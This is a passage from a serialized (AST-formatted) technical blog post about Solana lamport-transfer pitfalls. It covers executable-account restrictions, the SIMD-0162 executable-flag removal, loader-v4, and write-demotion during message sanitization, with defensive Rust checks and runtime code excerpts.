change\n",{"type":24,"tag":327,"props":80072,"children":80073},{"class":329,"line":1017},[80074,80078,80082,80086,80091],{"type":24,"tag":327,"props":80075,"children":80076},{"style":425},[80077],{"type":29,"value":428},{"type":24,"tag":327,"props":80079,"children":80080},{"style":334},[80081],{"type":29,"value":2171},{"type":24,"tag":327,"props":80083,"children":80084},{"style":381},[80085],{"type":29,"value":66},{"type":24,"tag":327,"props":80087,"children":80088},{"style":340},[80089],{"type":29,"value":80090},"is_executable_internal",{"type":24,"tag":327,"props":80092,"children":80093},{"style":346},[80094],{"type":29,"value":9697},{"type":24,"tag":327,"props":80096,"children":80097},{"class":329,"line":1026},[80098,80102,80106,80110,80114,80118,80123],{"type":24,"tag":327,"props":80099,"children":80100},{"style":425},[80101],{"type":29,"value":4944},{"type":24,"tag":327,"props":80103,"children":80104},{"style":1639},[80105],{"type":29,"value":23267},{"type":24,"tag":327,"props":80107,"children":80108},{"style":346},[80109],{"type":29,"value":349},{"type":24,"tag":327,"props":80111,"children":80112},{"style":1639},[80113],{"type":29,"value":23276},{"type":24,"tag":327,"props":80115,"children":80116},{"style":381},[80117],{"type":29,"value":2407},{"type":24,"tag":327,"props":80119,"children":80120},{"style":1639},[80121],{"type":29,"value":80122},"ExecutableLamportChange",{"type":24,"tag":327,"props":80124,"children":80125},{"style":346},[80126],{"type":29,"value":583},{"type":24,"tag":327,"props":80128,"children":80129},{"class":329,"line":1048},[80130],{"type":24,"tag":327,"props":80131,"children":80132},{"style":346},[80133],{"type":29,"value":535},{"type":24,"tag":327,"props":80135,"children":80136},{"class":329,"line":1067},[80137],{"type":24,"tag":327,"props":80138,"children":80139},{"style":551},[80140],{"type":29,"value":80141},"    // don't touch the account if the lamports do not change\n",{"type":24,"tag":327,"props":80143,"children":80144},{"class":329,"line":1075},[80145,80149,80153,80157,80161,80165,80169,80173],{"type":24,"tag":327,"props":80146,"children":80147},{"style":425},[80148],{"type":29,"value":428},{"type":24,"tag":327,"props":80150,"children":80151},{"style":334},[80152],{"type":29,"value":2171},{"type":24,"tag":327,"props":80154,"children":80155},{"style":381},[80156],{"type":29,"value":66},{"type":24,"tag":327,"props":80158,"children":80159},{"style":340},[80160],{"type":29,"value":79944},{"type":24,"tag":327,"props":80162,"children":80163},{"style":346},[80164],{"type":29,"value":7338},{"type":24,"tag":327,"props":80166,"children":80167},{"style":381},[80168],{"type":29,"value":642},{"type":24,"tag":327,"props":80170,"children":80171},{"style":356},[80172],{"type":29,"value":79927},{"type":24,"tag":327,"props":80174,"children":80175},{"style":346},[80176],{"type":29,"value":497},{"type":24,"tag":327,"props":80178,"children":80179},{"class":329,"line":1084},[80180,80184,80188],{"type":24,"tag":327,"props":80181,"children":80182},{"style":425},[80183],{"type":29,"value":4944},{"type":24,"tag":327,"props":80185,"children":80186},{"style":1639},[80187],{"type":29,"value":49652},{"type":24,"tag":327,"props":80189,"children":80190},{"style":346},[80191],{"type":29,"value":80192},"(());\n",{"type":24,"tag":327,"props":80194,"children":80195},{"class":329,"line":1100},[80196],{"type":24,"tag":327,"props":80197,"children":80198},{"style":346},[80199],{"type":29,"value":535},{"type":24,"tag":327,"props":80201,"children":80202},{"class":329,"line":1128},[80203,80207,80211,80216,80220,80224],{"type":24,"tag":327,"props":80204,"children":80205},{"style":334},[80206],{"type":29,"value":2152},{"type":24,"tag":327,"props":80208,"children":80209},{"style":381},[80210],{"type":29,"value":66},{"type":24,"tag":327,"props":80212,"children":80213},{"style":340},[80214],{"type":29,"value":80215},"touch",{"type":24,"tag":327,"props":80217,"children":80218},{"style":346},[80219],{"type":29,"value":7616},{"type":24,"tag":327,"props":80221,"children":80222},{"style":381},[80223],{"type":29,"value":7437},{"type":24,"tag":327,"props":80225,"children":80226},{"style":346},[80227],{"type":29,"value":405},{"type":24,"tag":327,"props":80229,"children":80230},{"class":329,"line":1148},[80231,80235,80239,80243,80247,80251,80255,80259],{"type":24,"tag":327,"props":80232,"children":80233},{"style":334},[80234],{"type":29,"value":2152},{"type":24,"tag":327,"props":80236,"children":80237},{"style":381},[80238],{"type":29,"value":66},{"type":24,"tag":327,"props":80240,"children":80241},{"style":346},[80242],{"type":29,"value":20497},{"type":24,"tag":327,"props":80244,"children":80245},{"style":381},[80246],{"type":29,"value":66},{"type":24,"tag":327,"props":80248,"children":80249},{"style":340},[80250],{"type":29,"value":79758},{"type":24,"tag":327,"props":80252,"children":80253},{"style":346},[80254],{"type":29,"value":349},{"type":24,"tag":327,"props":80256,"children":80257},{"style":356},[80258],{"type":29,"value":23034},{"type":24,"tag":327,"props":80260,"children":80261},{"style":346},[80262],{"type":29,"value":583},{"type":24,"tag":327,"props":80264,"children":80265},{"class":329,"line":1176},[80266,80270],{"type":24,"tag":327,"props":80267,"children":80268},{"style":1639},[80269],{"type":29,"value":9004},{"type":24,"tag":327,"props":80271,"children":80272},{"style":346},[80273],{"type":29,"value":9009},{"type":24,"tag":327,"props":80275,"children":80276},{"class":329,"line":1184},[80277],{"type":24,"tag":327,"props":80278,"children":80279},{"style":346},[80280],{"type":29,"value":592},{"type":24,"tag":327,"props":80282,"children":80283},{"class":329,"line":1192},[80284],{"type":24,"tag":327,"props":80285,"children":80286},{"emptyLinePlaceholder":16},[80287],{"type":29,"value":544},{"type":24,"tag":327,"props":80289,"children":80290},{"class":329,"line":1212},[80291],{"type":24,"tag":327,"props":80292,"children":80293},{"style":551},[80294],{"type":29,"value":80295},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":24,"tag":327,"props":80297,"children":80298},{"class":329,"line":4841},[80299,80303,80307,80311],{"type":24,"tag":327,"props":80300,"children":80301},{"style":346},[80302],{"type":29,"value":79796},{"type":24,"tag":327,"props":80304,"children":80305},{"style":381},[80306],{"type":29,"value":384},{"type":24,"tag":327,"props":80308,"children":80309},{"style":844},[80310],{"type":29,"value":79805},{"type":24,"tag":327,"props":80312,"children":80313},{"style":346},[80314],{"type":29,"value":1973},{"type":24,"tag":327,"props":80316,"children":80317},{"class":329,"line":4862},[80318],{"type":24,"tag":327,"props":80319,"children":80320},{"style":346},[80321],{"type":29,"value":80322},"#[inline]\n",{"type":24,"tag":327,"props":80324,"children":80325},{"class":329,"line":4870},[80326,80330,80335,80339,80343,80347,80351,80355,80359],{"type":24,"tag":327,"props":80327,"children":80328},{"style":334},[80329],{"type":29,"value":1617},{"type":24,"tag":327,"props":80331,"children":80332},{"style":340},[80333],{"type":29,"value":80334}," is_executable_internal",{"type":24,"tag":327,"props":80336,"children":80337},{"style":346},[80338],{"type":29,"value":349},{"type":24,"tag":327,"props":80340,"children":80341},{"style":381},[80342],{"type":29,"value":8716},{"type":24,"tag":327,"props":80344,"children":80345},{"style":334},[80346],{"type":29,"value":2345},{"type":24,"tag":327,"props":80348,"children":80349},{"style":346},[80350],{"type":29,"value":1674},{"type":24,"tag":327,"props":80352,"children":80353},{"style":381},[80354],{"type":29,"value":1679},{"type":24,"tag":327,"props":80356,"children":80357},{"style":1639},[80358],{"type":29,"value":1935},{"type":24,"tag":327,"props":80360,"children":80361},{"style":346},[80362],{"type":29,"value":497},{"type":24,"tag":327,"props":80364,"children":80365},{"class":329,"line":4879},[80366,80370],{"type":24,"tag":327,"props":80367,"children":80368},{"style":381},[80369],{"type":29,"value":2340},{"type":24,"tag":327,"props":80371,"children":80372},{"style":334},[80373],{"type":29,"value":80374},"self\n",{"type":24,"tag":327,"props":80376,"children":80377},{"class":329,"line":4913},[80378,80382],{"type":24,"tag":327,"props":80379,"children":80380},{"style":381},[80381],{"type":29,"value":74984},{"type":24,"tag":327,"props":80383,"children":80384},{"style":346},[80385],{"type":29,"value":80386},"transaction_context\n",{"type":24,"tag":327,"props":80388,"children":80389},{"class":329,"line":4938},[80390,80394],{"type":24,"tag":327,"props":80391,"children":80392},{"style":381},[80393],{"type":29,"value":74984},{"type":24,"tag":327,"props":80395,"children":80396},{"style":346},[80397],{"type":29,"value":80398},"remove_accounts_executable_flag_checks\n",{"type":24,"tag":327,"props":80400,"children":80401},{"class":329,"line":4974},[80402,80406,80410,80414,80418,80422,80426],{"type":24,"tag":327,"props":80403,"children":80404},{"style":381},[80405],{"type":29,"value":49516},{"type":24,"tag":327,"props":80407,"children":80408},{"style":334},[80409],{"type":29,"value":2171},{"type":24,"tag":327,"props":80411,"children":80412},{"style":381},[80413],{"type":29,"value":66},{"type":24,"tag":327,"props":80415,"children":80416},{"style":346},[80417],{"type":29,"value":20497},{"type":24,"tag":327,"props":80419,"children":80420},{"style":381},[80421],{"type":29,"value":66},{"type":24,"tag":327,"props":80423,"children":80424},{"style":340},[80425],{"type":29,"value":23176},{"type":24,"tag":327,"props":80427,"children":80428},{"style":346},[80429],{"type":29,"value":15298},{"type":24,"tag":327,"props":80431,"children":80432},{"class":329,"line":4982},[80433],{"type":24,"tag":327,"props":80434,"children":80435},{"style":346},[80436],{"type":29,"value":592},{"type":24,"tag":25,"props":80438,"children":80439},{},[80440],{"type":29,"value":80441},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":24,"tag":25,"props":80443,"children":80444},{},[80445,80447,80452],{"type":29,"value":80446},"Specifically, ",{"type":24,"tag":188,"props":80448,"children":80449},{},[80450],{"type":29,"value":80451},"executable accounts",{"type":29,"value":80453}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":24,"tag":168,"props":80455,"children":80457},{"id":80456},"sidebar-whats-the-executable-flag-anyway",[80458],{"type":29,"value":80459},"Sidebar: What's the executable Flag Anyway?",{"type":24,"tag":25,"props":80461,"children":80462},{},[80463,80464,80469],{"type":29,"value":1713},{"type":24,"tag":284,"props":80465,"children":80467},{"className":80466},[],[80468],{"type":29,"value":23176},{"type":29,"value":80470}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":24,"tag":25,"props":80472,"children":80473},{},[80474,80476,80481],{"type":29,"value":80475},"This behavior became problematic with the introduction of the ",{"type":24,"tag":188,"props":80477,"children":80478},{},[80479],{"type":29,"value":80480},"Upgradeable BPF Loader",{"type":29,"value":80482},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":24,"tag":317,"props":80484,"children":80486},{"className":1553,"code":80485,"language":1552,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[80487],{"type":24,"tag":284,"props":80488,"children":80489},{"__ignoreMap":7},[80490,80502,80510,80530,80538,80550,80558,80578,80586,80614,80622,80630],{"type":24,"tag":327,"props":80491,"children":80492},{"class":329,"line":330},[80493,80498],{"type":24,"tag":327,"props":80494,"children":80495},{"style":1639},[80496],{"type":29,"value":80497},"Program",{"type":24,"tag":327,"props":80499,"children":80500},{"style":346},[80501],{"type":29,"value":497},{"type":24,"tag":327,"props":80503,"children":80504},{"class":329,"line":367},[80505],{"type":24,"tag":327,"props":80506,"children":80507},{"style":551},[80508],{"type":29,"value":80509},"    /// Address of the ProgramData account.\n",{"type":24,"tag":327,"props":80511,"children":80512},{"class":329,"line":408},[80513,80518,80522,80526],{"type":24,"tag":327,"props":80514,"children":80515},{"style":356},[80516],{"type":29,"value":80517},"    programdata_address",{"type":24,"tag":327,"props":80519,"children":80520},{"style":381},[80521],{"type":29,"value":1636},{"type":24,"tag":327,"props":80523,"children":80524},{"style":1639},[80525],{"type":29,"value":2226},{"type":24,"tag":327,"props":80527,"children":80528},{"style":346},[80529],{"type":29,"value":2231},{"type":24,"tag":327,"props":80531,"children":80532},{"class":329,"line":421},[80533],{"type":24,"tag":327,"props":80534,"children":80535},{"style":346},[80536],{"type":29,"value":80537},"},\n",{"type":24,"tag":327,"props":80539,"children":80540},{"class":329,"line":450},[80541,80546],{"type":24,"tag":327,"props":80542,"children":80543},{"style":1639},[80544],{"type":29,"value":80545},"ProgramData",{"type":24,"tag":327,"props":80547,"children":80548},{"style":346},[80549],{"type":29,"value":497},{"type":24,"tag":327,"props":80551,"children":80552},{"class":329,"line":481},[80553],{"type":24,"tag":327,"props":80554,"children":80555},{"style":551},[80556],{"type":29,"value":80557},"    /// Slot that the program was last modified.\n",{"type":24,"tag":327,"props":80559,"children":80560},{"class":329,"line":500},[80561,80566,80570,80574],{"type":24,"tag":327,"props":80562,"children":80563},{"style":356},[80564],{"type":29,"value":80565},"    slot",{"type":24,"tag":327,"props":80567,"children":80568},{"style":381},[80569],{"type":29,"value":1636},{"type":24,"tag":327,"props":80571,"children":80572},{"style":1639},[80573],{"type":29,"value":1669},{"type":24,"tag":327,"props":80575,"children":80576},{"style":346},[80577],{"type":29,"value":2231},{"type":24,"tag":327,"props":80579,"children":80580},{"class":329,"line":529},[80581],{"type":24,"tag":327,"props":80582,"children":80583},{"style":551},[80584],{"type":29,"value":80585},"    /// Address of the Program's upgrade authority.\n",{"type":24,"tag":327,"props":80587,"children":80588},{"class":329,"line":538},[80589,80594,80598,80602,80606,80610],{"type":24,"tag":327,"props":80590,"children":80591},{"style":356},[80592],{"type":29,"value":80593},"    upgrade_authority_address",{"type":24,"tag":327,"props":80595,"children":80596},{"style":381},[80597],{"type":29,"value":1636},{"type":24,"tag":327,"props":80599,"children":80600},{"style":1639},[80601],{"type":29,"value":9114},{"type":24,"tag":327,"props":80603,"children":80604},{"style":346},[80605],{"type":29,"value":1596},{"type":24,"tag":327,"props":80607,"children":80608},{"style":1639},[80609],{"type":29,"value":2779},{"type":24,"tag":327,"props":80611,"children":80612},{"style":346},[80613],{"type":29,"value":4529},{"type":24,"tag":327,"props":80615,"children":80616},{"class":329,"line":547},[80617],{"type":24,"tag":327,"props":80618,"children":80619},{"style":551},[80620],{"type":29,"value":80621},"    // The raw program data follows this serialized structure in the\n",{"type":24,"tag":327,"props":80623,"children":80624},{"class":329,"line":557},[80625],{"type":24,"tag":327,"props":80626,"children":80627},{"style":551},[80628],{"type":29,"value":80629},"    // account's data.\n",{"type":24,"tag":327,"props":80631,"children":80632},{"class":329,"line":586},[80633],{"type":24,"tag":327,"props":80634,"children":80635},{"style":346},[80636],{"type":29,"value":80537},{"type":24,"tag":25,"props":80638,"children":80639},{},[80640,80642,80649],{"type":29,"value":80641},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":24,"tag":57,"props":80643,"children":80646},{"href":80644,"rel":80645},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[61],[80647],{"type":29,"value":80648},"SIMD-0162",{"type":29,"value":80650},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":24,"tag":25,"props":80652,"children":80653},{},[80654,80656,80661,80663,80668],{"type":29,"value":80655},"This change is also a ",{"type":24,"tag":188,"props":80657,"children":80658},{},[80659],{"type":29,"value":80660},"hard requirement for supporting the new loader-v4",{"type":29,"value":80662},". Unlike the upgradable loader, which relies on a separate ",{"type":24,"tag":284,"props":80664,"children":80666},{"className":80665},[],[80667],{"type":29,"value":80545},{"type":29,"value":80669}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":24,"tag":25,"props":80671,"children":80672},{},[80673,80675,80682,80684,80689],{"type":29,"value":80674},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":24,"tag":57,"props":80676,"children":80679},{"href":80677,"rel":80678},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[61],[80680],{"type":29,"value":80681},"migrate",{"type":29,"value":80683}," from the upgradable loader to loader-v4 — without hitting the ",{"type":24,"tag":284,"props":80685,"children":80687},{"className":80686},[],[80688],{"type":29,"value":80122},{"type":29,"value":80690}," restriction.",{"type":24,"tag":168,"props":80692,"children":80694},{"id":80693},"fix-2-reject-program-accounts",[80695],{"type":29,"value":80696},"Fix 2: Reject Program Accounts",{"type":24,"tag":25,"props":80698,"children":80699},{},[80700],{"type":29,"value":80701},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":24,"tag":317,"props":80703,"children":80705},{"className":1553,"code":80704,"language":1552,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[80706],{"type":24,"tag":284,"props":80707,"children":80708},{"__ignoreMap":7},[80709,80785,80833,80849,80856,80895,80939,80963,81012,81040],{"type":24,"tag":327,"props":80710,"children":80711},{"class":329,"line":330},[80712,80716,80720,80725,80729,80733,80737,80741,80745,80749,80753,80757,80761,80765,80769,80773,80777,80781],{"type":24,"tag":327,"props":80713,"children":80714},{"style":334},[80715],{"type":29,"value":2524},{"type":24,"tag":327,"props":80717,"children":80718},{"style":334},[80719],{"type":29,"value":4653},{"type":24,"tag":327,"props":80721,"children":80722},{"style":340},[80723],{"type":29,"value":80724}," can_transfer_lamports",{"type":24,"tag":327,"props":80726,"children":80727},{"style":346},[80728],{"type":29,"value":349},{"type":24,"tag":327,"props":80730,"children":80731},{"style":356},[80732],{"type":29,"value":20497},{"type":24,"tag":327,"props":80734,"children":80735},{"style":381},[80736],{"type":29,"value":1636},{"type":24,"tag":327,"props":80738,"children":80739},{"style":381},[80740],{"type":29,"value":14704},{"type":24,"tag":327,"props":80742,"children":80743},{"style":1639},[80744],{"type":29,"value":22462},{"type":24,"tag":327,"props":80746,"children":80747},{"style":346},[80748],{"type":29,"value":2744},{"type":24,"tag":327,"props":80750,"children":80751},{"style":356},[80752],{"type":29,"value":23034},{"type":24,"tag":327,"props":80754,"children":80755},{"style":381},[80756],{"type":29,"value":1636},{"type":24,"tag":327,"props":80758,"children":80759},{"style":1639},[80760],{"type":29,"value":1669},{"type":24,"tag":327,"props":80762,"children":80763},{"style":346},[80764],{"type":29,"value":1674},{"type":24,"tag":327,"props":80766,"children":80767},{"style":381},[80768],{"type":29,"value":1679},{"type":24,"tag":327,"props":80770,"children":80771},{"style":1639},[80772],{"type":29,"value":1684},{"type":24,"tag":327,"props":80774,"children":80775},{"style":346},[80776],{"type":29,"value":1596},{"type":24,"tag":327,"props":80778,"children":80779},{"style":1639},[80780],{"type":29,"value":36394},{"type":24,"tag":327,"props":80782,"children":80783},{"style":346},[80784],{"type":29,"value":4344},{"type":24,"tag":327,"props":80786,"children":80787},{"class":329,"line":367},[80788,80792,80797,80801,80805,80809,80813,80817,80821,80825,80829],{"type":24,"tag":327,"props":80789,"children":80790},{"style":334},[80791],{"type":29,"value":1617},{"type":24,"tag":327,"props":80793,"children":80794},{"style":340},[80795],{"type":29,"value":80796}," is_program",{"type":24,"tag":327,"props":80798,"children":80799},{"style":346},[80800],{"type":29,"value":349},{"type":24,"tag":327,"props":80802,"children":80803},{"style":356},[80804],{"type":29,"value":20497},{"type":24,"tag":327,"props":80806,"children":80807},{"style":381},[80808],{"type":29,"value":1636},{"type":24,"tag":327,"props":80810,"children":80811},{"style":381},[80812],{"type":29,"value":14704},{"type":24,"tag":327,"props":80814,"children":80815},{"style":1639},[80816],{"type":29,"value":22462},{"type":24,"tag":327,"props":80818,"children":80819},{"style":346},[80820],{"type":29,"value":1674},{"type":24,"tag":327,"props":80822,"children":80823},{"style":381},[80824],{"type":29,"value":1679},{"type":24,"tag":327,"props":80826,"children":80827},{"style":1639},[80828],{"type":29,"value":1935},{"type":24,"tag":327,"props":80830,"children":80831},{"style":346},[80832],{"type":29,"value":497},{"type":24,"tag":327,"props":80834,"children":80835},{"class":329,"line":408},[80836,80840,80844],{"type":24,"tag":327,"props":80837,"children":80838},{"style":356},[80839],{"type":29,"value":6626},{"type":24,"tag":327,"props":80841,"children":80842},{"style":381},[80843],{"type":29,"value":66},{"type":24,"tag":327,"props":80845,"children":80846},{"style":346},[80847],{"type":29,"value":80848},"executable\n",{"type":24,"tag":327,"props":80850,"children":80851},{"class":329,"line":421},[80852],{"type":24,"tag":327,"props":80853,"children":80854},{"style":346},[80855],{"type":29,"value":592},{"type":24,"tag":327,"props":80857,"children":80858},{"class":329,"line":450},[80859,80863,80867,80871,80875,80879,80883,80887,80891],{"type":24,"tag":327,"props":80860,"children":80861},{"style":334},[80862],{"type":29,"value":19334},{"type":24,"tag":327,"props":80864,"children":80865},{"style":356},[80866],{"type":29,"value":79616},{"type":24,"tag":327,"props":80868,"children":80869},{"style":381},[80870],{"type":29,"value":4809},{"type":24,"tag":327,"props":80872,"children":80873},{"style":1639},[80874],{"type":29,"value":50187},{"type":24,"tag":327,"props":80876,"children":80877},{"style":381},[80878],{"type":29,"value":2407},{"type":24,"tag":327,"props":80880,"children":80881},{"style":340},[80882],{"type":29,"value":5330},{"type":24,"tag":327,"props":80884,"children":80885},{"style":346},[80886],{"type":29,"value":7616},{"type":24,"tag":327,"props":80888,"children":80889},{"style":381},[80890],{"type":29,"value":7437},{"type":24,"tag":327,"props":80892,"children":80893},{"style":346},[80894],{"type":29,"value":405},{"type":24,"tag":327,"props":80896,"children":80897},{"class":329,"line":481},[80898,80902,80907,80911,80915,80919,80923,80927,80931,80935],{"type":24,"tag":327,"props":80899,"children":80900},{"style":334},[80901],{"type":29,"value":19334},{"type":24,"tag":327,"props":80903,"children":80904},{"style":356},[80905],{"type":29,"value":80906}," balance_after",{"type":24,"tag":327,"props":80908,"children":80909},{"style":381},[80910],{"type":29,"value":4809},{"type":24,"tag":327,"props":80912,"children":80913},{"style":356},[80914],{"type":29,"value":13050},{"type":24,"tag":327,"props":80916,"children":80917},{"style":381},[80918],{"type":29,"value":66},{"type":24,"tag":327,"props":80920,"children":80921},{"style":340},[80922],{"type":29,"value":23034},{"type":24,"tag":327,"props":80924,"children":80925},{"style":346},[80926],{"type":29,"value":7338},{"type":24,"tag":327,"props":80928,"children":80929},{"style":381},[80930],{"type":29,"value":394},{"type":24,"tag":327,"props":80932,"children":80933},{"style":356},[80934],{"type":29,"value":79927},{"type":24,"tag":327,"props":80936,"children":80937},{"style":346},[80938],{"type":29,"value":405},{"type":24,"tag":327,"props":80940,"children":80941},{"class":329,"line":500},[80942,80946,80950,80954,80958],{"type":24,"tag":327,"props":80943,"children":80944},{"style":1639},[80945],{"type":29,"value":1850},{"type":24,"tag":327,"props":80947,"children":80948},{"style":346},[80949],{"type":29,"value":349},{"type":24,"tag":327,"props":80951,"children":80952},{"style":356},[80953],{"type":29,"value":20497},{"type":24,"tag":327,"props":80955,"children":80956},{"style":381},[80957],{"type":29,"value":66},{"type":24,"tag":327,"props":80959,"children":80960},{"style":346},[80961],{"type":29,"value":80962},"is_writable\n",{"type":24,"tag":327,"props":80964,"children":80965},{"class":329,"line":529},[80966,80970,80974,80978,80983,80987,80992,80996,81000,81004,81008],{"type":24,"tag":327,"props":80967,"children":80968},{"style":381},[80969],{"type":29,"value":2371},{"type":24,"tag":327,"props":80971,"children":80972},{"style":356},[80973],{"type":29,"value":79616},{"type":24,"tag":327,"props":80975,"children":80976},{"style":381},[80977],{"type":29,"value":66},{"type":24,"tag":327,"props":80979,"children":80980},{"style":340},[80981],{"type":29,"value":80982},"is_exempt",{"type":24,"tag":327,"props":80984,"children":80985},{"style":346},[80986],{"type":29,"value":349},{"type":24,"tag":327,"props":80988,"children":80989},{"style":356},[80990],{"type":29,"value":80991},"balance_after",{"type":24,"tag":327,"props":80993,"children":80994},{"style":346},[80995],{"type":29,"value":2744},{"type":24,"tag":327,"props":80997,"children":80998},{"style":356},[80999],{"type":29,"value":20497},{"type":24,"tag":327,"props":81001,"children":81002},{"style":381},[81003],{"type":29,"value":66},{"type":24,"tag":327,"props":81005,"children":81006},{"style":340},[81007],{"type":29,"value":21340},{"type":24,"tag":327,"props":81009,"children":81010},{"style":346},[81011],{"type":29,"value":23181},{"type":24,"tag":327,"props":81013,"children":81014},{"class":329,"line":538},[81015,81019,81023,81028,81032,81036],{"type":24,"tag":327,"props":81016,"children":81017},{"style":381},[81018],{"type":29,"value":2371},{"type":24,"tag":327,"props":81020,"children":81021},{"style":381},[81022],{"type":29,"value":20408},{"type":24,"tag":327,"props":81024,"children":81025},{"style":340},[81026],{"type":29,"value":81027},"is_program",{"type":24,"tag":327,"props":81029,"children":81030},{"style":346},[81031],{"type":29,"value":349},{"type":24,"tag":327,"props":81033,"children":81034},{"style":356},[81035],{"type":29,"value":20497},{"type":24,"tag":327,"props":81037,"children":81038},{"style":346},[81039],{"type":29,"value":1045},{"type":24,"tag":327,"props":81041,"children":81042},{"class":329,"line":547},[81043],{"type":24,"tag":327,"props":81044,"children":81045},{"style":346},[81046],{"type":29,"value":592},{"type":24,"tag":25,"props":81048,"children":81049},{},[81050],{"type":29,"value":81051},"Now we’re safe...right?",{"type":24,"tag":235,"props":81053,"children":81055},{"id":81054},"bug-3-the-write-demotion-trap",[81056],{"type":29,"value":81057},"Bug 3: The Write-Demotion Trap",{"type":24,"tag":25,"props":81059,"children":81060},{},[81061,81063,81068,81070,81075],{"type":29,"value":81062},"On Solana, accounts passed as ",{"type":24,"tag":188,"props":81064,"children":81065},{},[81066],{"type":29,"value":81067},"writable",{"type":29,"value":81069}," in a transaction can be ",{"type":24,"tag":188,"props":81071,"children":81072},{},[81073],{"type":29,"value":81074},"silently downgraded to read-only",{"type":29,"value":81076},". This behavior occurs during message sanitization — even before your program runs.",{"type":24,"tag":25,"props":81078,"children":81079},{},[81080,81082,81089],{"type":29,"value":81081},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":24,"tag":57,"props":81083,"children":81086},{"href":81084,"rel":81085},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[61],[81087],{"type":29,"value":81088},"MessageV0",{"type":29,"value":81090},", but legacy is simpler to follow):",{"type":24,"tag":317,"props":81092,"children":81094},{"className":1553,"code":81093,"language":1552,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[81095],{"type":24,"tag":284,"props":81096,"children":81097},{"__ignoreMap":7},[81098,81106,81130,81218,81239,81251,81267,81283,81331,81360,81414,81450,81458,81495,81507,81545,81557,81564,81571,81578,81585,81593,81653,81706],{"type":24,"tag":327,"props":81099,"children":81100},{"class":329,"line":330},[81101],{"type":24,"tag":327,"props":81102,"children":81103},{"style":551},[81104],{"type":29,"value":81105},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":24,"tag":327,"props":81107,"children":81108},{"class":329,"line":367},[81109,81113,81118,81122,81126],{"type":24,"tag":327,"props":81110,"children":81111},{"style":334},[81112],{"type":29,"value":9668},{"type":24,"tag":327,"props":81114,"children":81115},{"style":1639},[81116],{"type":29,"value":81117}," LegacyMessage",{"type":24,"tag":327,"props":81119,"children":81120},{"style":346},[81121],{"type":29,"value":4334},{"type":24,"tag":327,"props":81123,"children":81124},{"style":1639},[81125],{"type":29,"value":10692},{"type":24,"tag":327,"props":81127,"children":81128},{"style":346},[81129],{"type":29,"value":4344},{"type":24,"tag":327,"props":81131,"children":81132},{"class":329,"line":408},[81133,81137,81141,81145,81149,81153,81157,81162,81166,81171,81175,81180,81184,81188,81193,81197,81201,81205,81209,81214],{"type":24,"tag":327,"props":81134,"children":81135},{"style":334},[81136],{"type":29,"value":2212},{"type":24,"tag":327,"props":81138,"children":81139},{"style":334},[81140],{"type":29,"value":4653},{"type":24,"tag":327,"props":81142,"children":81143},{"style":340},[81144],{"type":29,"value":38643},{"type":24,"tag":327,"props":81146,"children":81147},{"style":346},[81148],{"type":29,"value":349},{"type":24,"tag":327,"props":81150,"children":81151},{"style":356},[81152],{"type":29,"value":74761},{"type":24,"tag":327,"props":81154,"children":81155},{"style":381},[81156],{"type":29,"value":1636},{"type":24,"tag":327,"props":81158,"children":81159},{"style":346},[81160],{"type":29,"value":81161}," 